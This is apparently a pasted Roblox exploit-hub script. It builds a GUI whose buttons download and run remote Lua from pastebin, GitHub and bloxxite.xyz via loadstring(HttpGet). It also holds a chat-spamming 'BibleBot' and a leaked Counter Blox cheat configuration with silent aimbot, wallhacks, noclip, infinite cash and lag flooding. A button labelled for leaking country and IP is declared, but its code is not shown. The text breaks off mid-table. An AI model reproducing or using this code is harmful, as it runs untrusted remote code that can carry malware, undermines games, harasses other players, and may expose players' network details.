· 5 years ago · Feb 23, 2021, 04:34 PM
1--Made By beans#3147 Feel Free To Hit Me Up!
2
3local ScreenGui = Instance.new("ScreenGui")
4local main = Instance.new("Frame")
5local ApocRisingGUI = Instance.new("TextButton")
6local ApocRisingGUI2 = Instance.new("TextButton")
7local ArsenalGUI = Instance.new("TextButton")
8local BibleBot = Instance.new("TextButton")
9local CounterBloxQualGUI = Instance.new("TextButton")
10local FleeTheFacilityGUI = Instance.new("TextButton")
11local KATAimbot = Instance.new("TextButton")
12local LeakCountryAndIP = Instance.new("TextButton")
13local MadGamesScript = Instance.new("TextButton")
14local PhantomForcesGUI = Instance.new("TextButton")
15local RagdollEngineGUI = Instance.new("TextButton")
16local SkyBlockGUI = Instance.new("TextButton")
17local TinyTanksGUI = Instance.new("TextButton")
18local TowerOfHellGodmode = Instance.new("TextButton")
19local UniversalHitboxExpander = Instance.new("TextButton")
20local UniversalToggleSpeed = Instance.new("TextButton")
21local MainLabel = Instance.new("TextLabel")
22local close = Instance.new("TextButton")
23local OpenGUI = Instance.new("Frame")
24local Open = Instance.new("TextButton")
25
26--Properties:
27
28ScreenGui.Parent = game.CoreGui
29
30main.Name = "main"
31main.Parent = ScreenGui
32main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
33main.Position = UDim2.new(-0.000122183003, 0, 0.501228452, 0)
34main.Size = UDim2.new(0, 369, 0, 179)
35main.Visible = false
36main.Active = true
37main.Draggable = true
38
39ApocRisingGUI.Name = "ApocRisingGUI"
40ApocRisingGUI.Parent = main
41ApocRisingGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
42ApocRisingGUI.Position = UDim2.new(0.0189836491, 0, 0.711000204, 0)
43ApocRisingGUI.Size = UDim2.new(0, 117, 0, 41)
44ApocRisingGUI.Font = Enum.Font.SourceSans
45ApocRisingGUI.Text = "ApocRisingGUI"
46ApocRisingGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
47ApocRisingGUI.TextSize = 16.000
48ApocRisingGUI.MouseButton1Down:connect(function()
49loadstring(game:HttpGet("https://pastebin.com/raw/SUNSNbZh", true))()
50end)
51
52ApocRisingGUI2.Name = "ApocRisingGUI2"
53ApocRisingGUI2.Parent = main
54ApocRisingGUI2.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
55ApocRisingGUI2.Position = UDim2.new(0.351696461, 0, 0.716586828, 0)
56ApocRisingGUI2.Size = UDim2.new(0, 117, 0, 41)
57ApocRisingGUI2.Font = Enum.Font.SourceSans
58ApocRisingGUI2.Text = "ApocRisingGUI2"
59ApocRisingGUI2.TextColor3 = Color3.fromRGB(0, 0, 0)
60ApocRisingGUI2.TextSize = 16.000
61ApocRisingGUI2.MouseButton1Down:connect(function()
62loadstring(game:HttpGet("https://pastebin.com/raw/PZZHpF90", true))()
63end)
64
65ArsenalGUI.Name = "ArsenalGUI"
66ArsenalGUI.Parent = main
67ArsenalGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
68ArsenalGUI.Position = UDim2.new(0.428623706, 0, 0.162340611, 0)
69ArsenalGUI.Size = UDim2.new(0, 55, 0, 25)
70ArsenalGUI.Font = Enum.Font.SourceSans
71ArsenalGUI.Text = "ArsenalGUI"
72ArsenalGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
73ArsenalGUI.TextSize = 13.000
74ArsenalGUI.MouseButton1Down:connect(function()
75loadstring(game:HttpGet("https://raw.githubusercontent.com/NougatBitz/ArsenalHaxx/master/Script"))();
76end)
77
78BibleBot.Name = "BibleBot"
79BibleBot.Parent = main
80BibleBot.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
81BibleBot.Position = UDim2.new(0.598199964, 0, 0.159622803, 0)
82BibleBot.Size = UDim2.new(0, 53, 0, 25)
83BibleBot.Font = Enum.Font.SourceSans
84BibleBot.Text = "BibleBot"
85BibleBot.TextColor3 = Color3.fromRGB(0, 0, 0)
86BibleBot.TextSize = 13.000
87BibleBot.MouseButton1Down:connect(function()
88local timerbb = 30;
89local ads_toggle = true;
90local greet_toggle = true;
91
92--skidded stuff lolololol
93math.randomseed(tick()) --idk I guess yeah I am dumb lol
94local HttpService = game:GetService("HttpService")
95local Players = game:GetService("Players")
96-- Instances:
97
98local BibleBot = Instance.new("ScreenGui")
99local main = Instance.new("ImageLabel")
100local label = Instance.new("TextLabel")
101local timer = Instance.new("TextBox")
102local timeLabel = Instance.new("TextLabel")
103local TextButton = Instance.new("TextButton")
104local ads = Instance.new("TextLabel")
105local ads_on = Instance.new("TextButton")
106local ads_off = Instance.new("TextButton")
107local mid = Instance.new("Frame")
108local greet = Instance.new("TextLabel")
109local greet_on = Instance.new("TextButton")
110local greet_off = Instance.new("TextButton")
111
112--Properties:
113
114BibleBot.Name = "BibleBot"
115BibleBot.Parent = game.CoreGui
116
117main.Name = "main"
118main.Parent = BibleBot
119main.AnchorPoint = Vector2.new(0.5, 0.5)
120main.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
121main.BackgroundTransparency = 1.000
122main.Position = UDim2.new(0.49999997, 0, 0.5, 0)
123main.Size = UDim2.new(0, 500, 0, 300)
124main.Image = "rbxassetid://3570695787"
125main.ImageColor3 = Color3.fromRGB(15, 15, 15)
126main.ScaleType = Enum.ScaleType.Slice
127main.SliceCenter = Rect.new(100, 100, 100, 100)
128main.SliceScale = 0.250
129main.Active = true
130
131label.Name = "label"
132label.Parent = main
133label.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
134label.BackgroundTransparency = 1.000
135label.BorderSizePixel = 0
136label.Position = UDim2.new(0.300000012, 0, 0, 0)
137label.Size = UDim2.new(0, 200, 0, 25)
138label.Font = Enum.Font.SourceSansLight
139label.Text = "BibleBot"
140label.TextColor3 = Color3.fromRGB(255, 255, 255)
141label.TextScaled = true
142label.TextSize = 14.000
143label.TextWrapped = true
144
145timer.Name = "timer"
146timer.Parent = main
147timer.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
148timer.BorderSizePixel = 0
149timer.Position = UDim2.new(0.0799999982, 0, 0.13333334, 0)
150timer.Size = UDim2.new(0, 60, 0, 30)
151timer.Font = Enum.Font.SourceSansLight
152timer.Text = "30"
153timer.TextColor3 = Color3.fromRGB(255, 255, 255)
154timer.TextScaled = true
155timer.TextSize = 14.000
156timer.TextWrapped = true
157
158timeLabel.Name = "timeLabel"
159timeLabel.Parent = timer
160timeLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
161timeLabel.BackgroundTransparency = 1.000
162timeLabel.BorderSizePixel = 0
163timeLabel.Position = UDim2.new(1.41666663, 0, 0, 0)
164timeLabel.Size = UDim2.new(0, 375, 0, 30)
165timeLabel.Font = Enum.Font.SourceSansLight
166timeLabel.Text = "Delay between each ad."
167timeLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
168timeLabel.TextScaled = true
169timeLabel.TextSize = 14.000
170timeLabel.TextWrapped = true
171timeLabel.TextXAlignment = Enum.TextXAlignment.Left
172
173TextButton.Parent = timer
174TextButton.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
175TextButton.BorderSizePixel = 0
176TextButton.Position = UDim2.new(5.5999999, 0, 0, 0)
177TextButton.Size = UDim2.new(0, 100, 0, 30)
178TextButton.Font = Enum.Font.SourceSansLight
179TextButton.Text = "Apply"
180TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
181TextButton.TextScaled = true
182TextButton.TextSize = 14.000
183TextButton.TextWrapped = true
184TextButton.MouseButton1Click:Connect(function()
185 timerbb = timer
186end)
187
188
189ads.Name = "ads"
190ads.Parent = main
191ads.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
192ads.BackgroundTransparency = 1.000
193ads.BorderSizePixel = 0
194ads.Position = UDim2.new(0.150000021, 0, 0.333333343, 0)
195ads.Size = UDim2.new(0, 100, 0, 30)
196ads.Font = Enum.Font.SourceSansLight
197ads.Text = "Ads (default on)"
198ads.TextColor3 = Color3.fromRGB(255, 255, 255)
199ads.TextScaled = true
200ads.TextSize = 14.000
201ads.TextWrapped = true
202
203ads_on.Name = "ads_on"
204ads_on.Parent = ads
205ads_on.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
206ads_on.BorderSizePixel = 0
207ads_on.Position = UDim2.new(-0.5, 0, 1.16666663, 0)
208ads_on.Size = UDim2.new(0, 75, 0, 30)
209ads_on.Font = Enum.Font.SourceSansLight
210ads_on.Text = "On"
211ads_on.TextColor3 = Color3.fromRGB(255, 255, 255)
212ads_on.TextScaled = true
213ads_on.TextSize = 14.000
214ads_on.TextWrapped = true
215ads_on.MouseButton1Click:Connect(function()
216 ads_toggle = true
217end)
218
219ads_off.Name = "ads_off"
220ads_off.Parent = ads
221ads_off.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
222ads_off.BorderSizePixel = 0
223ads_off.Position = UDim2.new(0.75000006, 0, 1.16666663, 0)
224ads_off.Size = UDim2.new(0, 75, 0, 30)
225ads_off.Font = Enum.Font.SourceSansLight
226ads_off.Text = "Off"
227ads_off.TextColor3 = Color3.fromRGB(255, 255, 255)
228ads_off.TextScaled = true
229ads_off.TextSize = 14.000
230ads_off.TextWrapped = true
231ads_off.MouseButton1Click:Connect(function()
232 ads_toggle = false
233end)
234
235mid.Name = "mid"
236mid.Parent = main
237mid.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
238mid.Position = UDim2.new(0.49000001, 0, 0.233333334, 0)
239mid.Size = UDim2.new(0, 10, 0, 230)
240
241greet.Name = "greet"
242greet.Parent = main
243greet.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
244greet.BackgroundTransparency = 1.000
245greet.BorderSizePixel = 0
246greet.Position = UDim2.new(0.649999976, 0, 0.333333343, 0)
247greet.Size = UDim2.new(0, 100, 0, 30)
248greet.Font = Enum.Font.SourceSansLight
249greet.Text = "Greeting (default on)"
250greet.TextColor3 = Color3.fromRGB(255, 255, 255)
251greet.TextScaled = true
252greet.TextSize = 14.000
253greet.TextWrapped = true
254
255greet_on.Name = "greet_on"
256greet_on.Parent = greet
257greet_on.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
258greet_on.BorderSizePixel = 0
259greet_on.Position = UDim2.new(-0.5, 0, 1.16666663, 0)
260greet_on.Size = UDim2.new(0, 75, 0, 30)
261greet_on.Font = Enum.Font.SourceSansLight
262greet_on.Text = "On"
263greet_on.TextColor3 = Color3.fromRGB(255, 255, 255)
264greet_on.TextScaled = true
265greet_on.TextSize = 14.000
266greet_on.TextWrapped = true
267greet_on.MouseButton1Click:Connect(function()
268 greet_toggle = true
269end)
270
271greet_off.Name = "greet_off"
272greet_off.Parent = greet
273greet_off.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
274greet_off.BorderSizePixel = 0
275greet_off.Position = UDim2.new(0.75000006, 0, 1.16666663, 0)
276greet_off.Size = UDim2.new(0, 75, 0, 30)
277greet_off.Font = Enum.Font.SourceSansLight
278greet_off.Text = "Off"
279greet_off.TextColor3 = Color3.fromRGB(255, 255, 255)
280greet_off.TextScaled = true
281greet_off.TextSize = 14.000
282greet_off.TextWrapped = true
283greet_off.MouseButton1Click:Connect(function()
284 greet_toggle = false
285end)
286
287
288--dragging Api made by me (P3rZ3r0 lol)
289local UserInputService = game:GetService("UserInputService")
290local TweenService = game:GetService("TweenService")
291local gui = main
292local speed = 0.1
293
294local dragging
295local dragInput
296local dragStart
297local startPos
298
299local function update(input)
300 local delta = input.Position - dragStart
301 local goal = {}
302 goal.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
303 local tweenInfo = TweenInfo.new(speed)
304 local tween = TweenService:Create(gui, tweenInfo, goal)
305 tween:Play()
306end
307
308gui.InputBegan:Connect(function(input)
309 if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
310 dragging = true
311 dragStart = input.Position
312 startPos = gui.Position
313
314 input.Changed:Connect(function()
315 if input.UserInputState == Enum.UserInputState.End then
316 dragging = false
317 end
318 end)
319 end
320end)
321
322gui.InputChanged:Connect(function(input)
323 if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
324 dragInput = input
325 end
326end)
327
328UserInputService.InputChanged:Connect(function(input)
329 if input == dragInput and dragging then
330 update(input)
331 end
332end)
333--End
334
335--skidded from bbot itself okk
336local is_agaisnt_furry = true
337is_furry = function(Player)
338 if not is_agaisnt_furry then return false end
339 local furry_hat = {"rbxassetid://3908012443";"rbxassetid//188699722"}
340 for _,v in pairs(Player.Character:GetChildren()) do
341 if v.ClassName == "Accessory" then
342 pcall(function()
343 if v.Handle.SpecialMesh.MeshId == furry_hat[1] or furry_hat[2] then
344 return true
345 else
346 return false
347 end
348 end)
349 end
350 end
351end
352
353--again skidded lmao
354endpoint = "http://labs.bible.org/api/?passage=random&type=json"
355getVerse = function()
356 local response = HttpService:JSONDecode(game:HttpGet(endpoint))
357 return
358 response[1].bookname .. ": " .. response[1].chapter .. ":" .. response[1].verse .. " " .. response[1].text
359end
360
361--skidded again not sure why there is tick but I am too much not smart
362local t = tick()
363chat = function(content)
364 if t - tick() < 0.70 then
365 wait(1)
366 end
367 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(content, "All")
368 t = tick()
369end
370
371commands = {};
372
373commands.verse = function()
374 local bible = getVerse()
375 if string.len(bible) > 200 then
376 repeat
377 game:GetService("RunService").Heartbeat:Wait()
378 bible = getVerse()
379 until string.len(bible) < 200
380 end
381 chat(bible)
382end
383
384commands.askgod = function()
385 local ans = {
386 "Yes"; "No"; "It is best for you not to know"; "Your question is beyond your mortal comprehension"; "Blasphemy! ask no more."; "I do not care to entertain your trivial question";
387 "You should be ashamed of what you are asking"; "Perhaps"; "I have nothing to say about it"; "I refuse to answer that"; "This is not a question befit for me, ask another"; "Reask that question, it makes no sense";
388 "A pity, made in my image yet couldn't ask a more reasonable question for me";"Such foul words, i am ashamed of creating you";"Think twice of what you ask of me";
389 "What you are asking me is blasphemy! confess your sin to me or face eternal torment";"You exist to suffer, no further comment.";"I didn't set fire to Gommorah for you to ask such a foolish question!";"Your question is why Judgement Day will come for us sooner then before.";"This question is beneath me, ask another!";
390 }
391 chat(ans[math.random(#ans)])
392end
393
394commands.help = function()
395 chat("!ask god [question] - Ask God a question | !verse - Study the holy bible | !help - Show this help menu | !confess [sin], confess your actions to God | !pray [prayer] pray for something")
396 wait(0.5)
397end
398
399commands.confesion = function(Player,message)
400
401 local ans = {"Your sin has been forgiven, rejoice!";"I am overjoyed you have acknowledged your sin, God shall forgive you.";"You are forgiven, be glad Jesus died for your sake.";"I can see your sin weighs heavily on you, God has forgiven you!";"This is a sin that can not be easily forgiven, i demand you say Glory To God 20 times!";"Your sin mocks the commandments put forth by God, 20 Holy Mary's!";
402 "Your blasphemy ends here, pray Our Father and Holy Mary 30 times each right now!";"Your actions disgust our Lord";"Satan, smite " .. Player.Name ..
403 " down for " .. Player.Name .. " has dared to defy God himself."};
404 chat(ans[math.random(#ans)])
405end
406
407commands.pray = function(Player,message)
408
409 local possibleAns = {"Amen";"Your greed disgusts me, confess your sin so that i may judge you by typing !confess [describe your foul actions here]";"Your prayer will be answered, Hallelujuh!";"Your prayer has been rejected for blasphemy! type !confess [your sin here] for judgement.";"I understand your feelings, it shall be done soon";"What you ask will be done, be patient my son";"Your prayer will be granted, in time."}
410 chat(possibleAns[math.random(#possibleAns)])
411end
412
413
414--too lazy to add blacklist add it maybe urself kkk
415onPlayerChat = function(chat_type,recipient,message)
416 message = string.lower(message)
417 chat_type = nil
418 if message:match(".*!ask.-god.*") then
419 commands:askgod()
420 elseif message:match(".*!verse.*") then
421 commands:verse()
422 elseif message:match(".*!help.*") then
423 commands:help()
424 elseif message:match(".*!pray.*") then
425 commands.pray(recipient,message)
426 elseif message:match(".*!confess.*") then
427 commands.confesion(recipient,message)
428 end
429end
430
431Players.PlayerChatted:Connect(onPlayerChat)
432
433
434--don't mind if I do
435Players.PlayerAdded:Connect(function(NewPlayer)
436 local welcomeSentence = {
437 "Greetings " .. NewPlayer.Name .. ", study the bible to further your blossoming faith by chatting !verse";
438 "Welcome " .. NewPlayer.Name .. "! to Bibleblox! study the bible with upmost vigor by chatting !verse";
439 "Welcome to the holiest place on roblox " .. NewPlayer.Name .. ". Study the bible as soon as possible by chatting !verse";
440 "Feel free to ask any question to God by chatting !ask god [question]";
441 "Welcome to the most christian place on roblox " .. NewPlayer.Name;
442 function()
443 if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
444 return "Welcome " .. NewPlayer.Name .. " to the afternoon bible study session. Open your bible by chatting !verse"
445 elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
446 return "Welcome " .. NewPlayer.Name .. " to the night bible study session. Open your bible by chatting !verse"
447 elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
448 return "Welcome " .. NewPlayer.Name .. " to the morning bible study session. Open your bible by chatting !verse"
449 end
450 end;
451 function()
452 if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
453 return "Gosh! You are late to to the afternoon bible study session. Open your bible by chatting !verse quickly!!"
454 elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
455 return "I can't believe you are *THIS* late to the night bible study! Open the bible asap(chat !verse)"
456 elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
457 return "Oh lord! You are late to the morning bible study session! Chat !verse to open the bible"
458 end
459 end;
460 function()
461 if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
462 return "God will not forgive you for making him wait " .. os.date("*t") - 18 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
463 elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
464 return "God will not forgive you for making him wait " .. os.date("*t") - 5 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
465 elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
466 return "God will not forgive you for making him wait " .. os.date("*t") - 5 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
467 end
468 end;
469 }
470 for cycle,sentence in next,welcomeSentence do
471 if greet_toggle == true then
472 if cycle == math.random(#welcomeSentence) then
473 if type(sentence) == "function" then
474 chat(sentence())
475 else
476 chat(sentence)
477 end
478 break
479 end
480 end
481 end
482end)
483
484ad = {
485 "Greetings all, I am bible bot, I guide the masses towards realizing the true faith. Chat !help to know all the available commands for me";
486 "I have come forth to bring the good news to all! Chat !verse to hear of it";
487 "Do not commit sin or suffer for eternity in hell! Chat !help to know the availaible commands for bible bot";
488 "Always remember to pray to God. Chat !pray [someone or something you want] to learn what He has in store for your prayer";
489 "Remember to study the bible to further your love for God. type !verse to study a verse of the bible, Chat !help to know other commands";
490 "Submit to the divine authority of God and learn more of the one true faith by typing !help to know all the availaible commands of bible bot"
491}
492
493coroutine.resume(coroutine.create(function()
494 while wait() do
495
496 if ads_toggle == true then
497 chat(ad[math.random(#ad)])
498 wait(timerbb)
499 end
500 end
501end))
502
503
504end)
505
506CounterBloxQualGUI.Name = "CounterBloxQualGUI"
507CounterBloxQualGUI.Parent = main
508CounterBloxQualGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
509CounterBloxQualGUI.Position = UDim2.new(0.455297947, 0, 0.515730381, 0)
510CounterBloxQualGUI.Size = UDim2.new(0, 96, 0, 25)
511CounterBloxQualGUI.Font = Enum.Font.SourceSans
512CounterBloxQualGUI.Text = "CounterBloxQualGUI"
513CounterBloxQualGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
514CounterBloxQualGUI.TextSize = 11.000
515CounterBloxQualGUI.MouseButton1Down:connect(function()
516--[[https://robloxscripts.com/counter-blox-qual-leaked-private-gui/, Counter Blox Qual Leaked GUI leaked by sir#0001.
517i chose the raycasting one but there are two other ones from the link above.
518]]
519UI = loadstring(game:HttpGet("http://bloxxite.xyz/rgwergdsfgsdtrjhsdrth", true))()
520
521local Settings = {
522 Startsound = "Default",
523 Hitsound = "Skeet",
524 HitsoundEnabled = false,
525 Hitmarker = false,
526 HitmarkerTarget = false,
527 DefaultBot = "Legit",
528 AA = {
529 Enabled = false,
530 Pitch = 1,
531 JSpeed = 0.1,
532 JRange = 90,
533 Direction = "None",
534 Left = "Z",
535 Back = "X",
536 Right = "C",
537 JDirection = "H",
538 JRotation = "J",
539 Invisible = false
540 },
541 Legit = {
542 AimbotMode = "Enabled",
543 DetectionMethod = "Closest to Crosshair",
544 AimbotStyle = "Completely Silent",
545 Shootbot = false,
546 MinVisibleDamage = 0,
547 MinAWDamage = 0,
548 FOVlim = false,
549 HookHitpart = false,
550 OverrideDamage = false,
551 Damage = 1,
552 FOVpx = 50,
553 Autowall = false,
554 Aimkey = "LeftShift",
555 Headshotchance = 20,
556 Backtrack = false,
557 BacktrackDelay = 50,
558 BacktrackColor = Color3.new(1, 1, 1),
559 BacktrackTransparency = 0.8,
560 BacktrackRainbow = false,
561 FOVCircle = false,
562 FOVFilled = false,
563 FOVColor = Color3.new(1, 1, 0),
564 FOVTransparency = 0,
565 FOVThickness = 1
566 },
567 Rage = {
568 AimbotMode = "Enabled",
569 DetectionMethod = "Closest to Crosshair",
570 AimbotStyle = "Completely Silent",
571 Shootbot = false,
572 MinVisibleDamage = 0,
573 MinAWDamage = 0,
574 HookHitpart = false,
575 OverrideDamage = false,
576 Damage = 1,
577 FOVlim = false,
578 FOVpx = 50,
579 Autowall = false,
580 Aimkey = "LeftShift",
581 Backtrack = false,
582 BacktrackDelay = 50,
583 BacktrackColor = Color3.new(1, 1, 1),
584 BacktrackTransparency = 0.8,
585 BacktrackRainbow = false,
586 FOVCircle = false,
587 FOVFilled = false,
588 FOVColor = Color3.new(1, 0, 0),
589 FOVTransparency = 0,
590 FOVThickness = 1
591 },
592 AsusWalls = {
593 Enabled = false,
594 Transparency = 0.7,
595 PartModifier = 5,
596 IncludeUnwallbangable = true,
597 },
598 Fakeduck = false,
599 VX = 2.5,
600 VY = 2.5,
601 VZ = 2.5,
602 TriggerbotMode = "Disabled",
603 TriggerbotDelay = 0,
604 Triggerkey = "CapsLock",
605 FOV = 70,
606 BulletTracers = false,
607 TracerThickness1 = 2,
608 TracerThickness2 = 5,
609 BulletTracerColor = Color3.new(1,1,1),
610 BulletTracerTransparency = 0.7,
611 ThirdpersonDistance = 7,
612 NoFall = false,
613 SkinChanger = false,
614 AntiMolotov = false,
615 Autohop = false,
616 LegitStrafe = false,
617 AutohopSpeed = 25,
618 AutohopHitrate = 100,
619 InstaRev = false,
620 RevAnimate = false,
621 ChatAlive = false,
622 SpectatorUI = false,
623 BetterScope = false,
624 Instaplant = false,
625 Antidefuse = false,
626 Noclip = false,
627 NoSleeves = false,
628 NoGloves = false,
629 NoFlash = false,
630 Buymenu = false,
631 LagSeverity = 6,
632 FloodMessages = 100,
633 Chat1 = "Qual > All",
634 Killsay = false,
635 Chat2 = "{} just got tapped lmao",
636 Unhash = false,
637 AllChat = false,
638 ThirdpersonKey = "X",
639 Spectatorkey = "RightAlt",
640 Noclipkey = "Period",
641 Antiaim = "Disabled",
642 AntiaimDetection = "None",
643 ArmsEnabled = false,
644 ArmsMaterial = "ForceField",
645 ArmsColor = Color3.new(1, 0.5, 0),
646 ArmsTransparency = 0.7,
647 GunEnabled = false,
648 GunMaterial = "ForceField",
649 GunColor = Color3.new(1, 0.5, 0),
650 GunTransparency = 0.7,
651 LockedOnTransparency = 0,
652 Skybox = "None",
653 ClockTime = 14,
654 Fullbright = false,
655 WireframeSmoke = false,
656 RemoveSmoke = false,
657 RemoveFlash = false,
658 InfiniteCash = false,
659 RemoveGrenadeLogic = false,
660 RLimbs = false,
661 InfNades = false,
662 Blockhead = false,
663 Blockhats = false,
664 Naked = false,
665 HideName = false,
666 Name = "Qual User",
667 Watermark = false,
668 InnerChams = {
669 Allies = {
670 Render = false,
671 Color = Color3.new(1,1,1),
672 Transparency = 0,
673 UseTeamColor = false,
674 VisibleOnly = false
675 },
676 Enemies = {
677 Render = false,
678 Color = Color3.new(1,1,1),
679 Transparency = 0,
680 UseTeamColor = false,
681 VisibleOnly = false
682 }
683 },
684 OuterChams = {
685 Allies = {
686 Render = false,
687 Color = Color3.new(0,1,0),
688 Transparency = 0,
689 UseTeamColor = false,
690 VisibleOnly = false,
691 Size = 0.35
692 },
693 Enemies = {
694 Render = false,
695 Color = Color3.new(1,0,0),
696 Transparency = 0,
697 UseTeamColor = false,
698 VisibleOnly = false,
699 Size = 0.35
700 }
701 },
702 Nametags = {
703 Allies = {
704 Enabled = false,
705 Color = Color3.new(1,1,1),
706 Transparency = 0,
707 },
708 Enemies = {
709 Enabled = false,
710 Color = Color3.new(1,1,1),
711 Transparency = 0,
712 }
713 },
714 Healthbar = {
715 Allies = {
716 Enabled = false,
717 Color = Color3.new(1,1,1)
718 },
719 Enemies = {
720 Enabled = false,
721 Color = Color3.new(1,1,1)
722 }
723 },
724 Boxes = {
725 Allies = {
726 Enabled = false,
727 Color = Color3.new(1,1,1),
728 Transparency = 0,
729 },
730 Enemies = {
731 Enabled = false,
732 Color = Color3.new(1,1,1),
733 Transparency = 0,
734 }
735 },
736 WeaponText = {
737 Allies = {
738 Enabled = false,
739 Color = Color3.new(1,1,1),
740 Transparency = 0,
741 },
742 Enemies = {
743 Enabled = false,
744 Color = Color3.new(1,1,1),
745 Transparency = 0,
746 }
747 },
748 Tracers = {
749 Allies = {
750 Enabled = false,
751 Color = Color3.new(1,1,1),
752 Transparency = 0,
753 },
754 Enemies = {
755 Enabled = false,
756 Color = Color3.new(1,1,1),
757 Transparency = 0,
758 }
759 },
760 BombText = {
761 Allies = {
762 Enabled = false,
763 Color = Color3.new(0,0.5,1),
764 Transparency = 0,
765 },
766 Enemies = {
767 Enabled = false,
768 Color = Color3.new(1,0.5,0),
769 Transparency = 0,
770 }
771 }
772}
773
774local readfile = readfile or function() end
775
776local Order = {
777 Blue = 11,
778 Purple = 10,
779 Pink = 9,
780 Red = 8,
781 Knife = 7,
782 Bundle = 6,
783 Retired = 5,
784 Contraband = 4,
785 Finite = 3,
786 Tournament = 2,
787 UNKNOWN = 1
788}
789
790local lastPoint = nil
791local lastPart = nil
792
793local FESkins = {}
794
795local Storage = {
796 CameraCF = nil,
797 Targets = {}
798}
799
800local SpectateEntries = {}
801
802local bodyParts = {
803 ["FakeHead"] = "Head",
804 ["HeadHB"] = "Head",
805 ["UpperTorso"] = "UpperTorso",
806 ["LowerTorso"] = "LowerTorso",
807 ["LeftUpperArm"] = "LeftUpperArm",
808 ["RightUpperArm"] = "RightUpperArm",
809 ["RightLowerArm"] = "RightLowerArm",
810 ["LeftLowerArm"] = "LeftLowerArm",
811 ["LeftHand"] = "LeftHand",
812 ["RightHand"] = "RightHand",
813 ["LeftUpperLeg"] = "LeftUpperLeg",
814 ["RightUpperLeg"] = "RightUpperLeg",
815 ["LeftLowerLeg"] = "LeftLowerLeg",
816 ["RightLowerLeg"] = "RightLowerLeg",
817 ["LeftFoot"] = "LeftFoot",
818 ["RightFoot"] = "RightFoot"
819}
820
821local BacktrackThing = {}
822
823local Services = {
824 Players = game:GetService("Players"),
825 RunService = game:GetService("RunService"),
826 CoreGui = game:GetService("CoreGui"),
827 StarterGui = game:GetService("StarterGui"),
828 Lighting = game:GetService("Lighting"),
829 UserInputService = game:GetService("UserInputService"),
830 HttpService = game:GetService("HttpService"),
831 ReplicatedStorage = game:GetService("ReplicatedStorage"),
832 TweenService = game:GetService("TweenService"),
833 Debris = game:GetService("Debris"),
834 GuiService = game:GetService("GuiService"),
835}
836
837local JSONData
838
839function pack(val)
840 if typeof(val) == "Color3" then
841 return {"breh", val.r, val.g, val.b}
842 end
843 if typeof(val) == "table" then
844 for i,v in pairs(val) do
845 val[i] = pack(v)
846 end
847 end
848 return val
849end
850
851local function deepCopy(original)
852 local copy = {}
853 for k, v in pairs(original) do
854 -- as before, but if we find a table, make sure we copy that too
855 if type(v) == "table" then
856 v = deepCopy(v)
857 end
858 copy[k] = v
859 end
860 return copy
861end
862
863function Save()
864 local NS = pack(deepCopy(Settings))
865 local JSONData = Services.HttpService:JSONEncode(NS)
866 writefile("Qual.json", JSONData)
867end
868
869function bunpack(val)
870 if typeof(val) == "table" and val[1] == "breh" then
871 return Color3.new(val[2], val[3], val[4])
872 end
873 if typeof(val) == "table" then
874 for i,v in pairs(val) do
875 val[i] = bunpack(v)
876 end
877 end
878 return val
879end
880
881
882pcall(function()
883 JSONData = readfile("Qual.json")
884end)
885if JSONData then
886 local LUAData = Services.HttpService:JSONDecode(JSONData)
887 Settings = bunpack(LUAData)
888 print("[QUAL]: Loading from save..")
889else
890 Save()
891 print("[QUAL]: Creating new save data..")
892end
893
894local Local = {
895 Player = Services.Players.LocalPlayer,
896 Camera = workspace:FindFirstChildOfClass("Camera"),
897 PlayerGui = nil,
898 Mouse = nil,
899 Game = nil
900}
901
902local Events = Services.ReplicatedStorage.Events
903
904local Weapons = {
905 Pistols = {"USP", "P2000", "Glock", "DualBerettas", "P250", "FiveSeven", "Tec9", "CZ", "DesertEagle", "R8"},
906 SMGs = {"MP9", "MAC10", "MP7", "UMP", "P90", "Bizon"},
907 Rifles = {"M4A4", "M4A1", "AK47", "Famas", "Galil", "AUG"},
908 AWP = {"AWP"},
909 Scout = {"Scout", "SG"},
910 Autosnipers = {"G3SG1"},
911 Heavies = {"M249", "Negev"},
912 Shotguns = {"XM", "Nova", "MAG7", "SawedOff"},
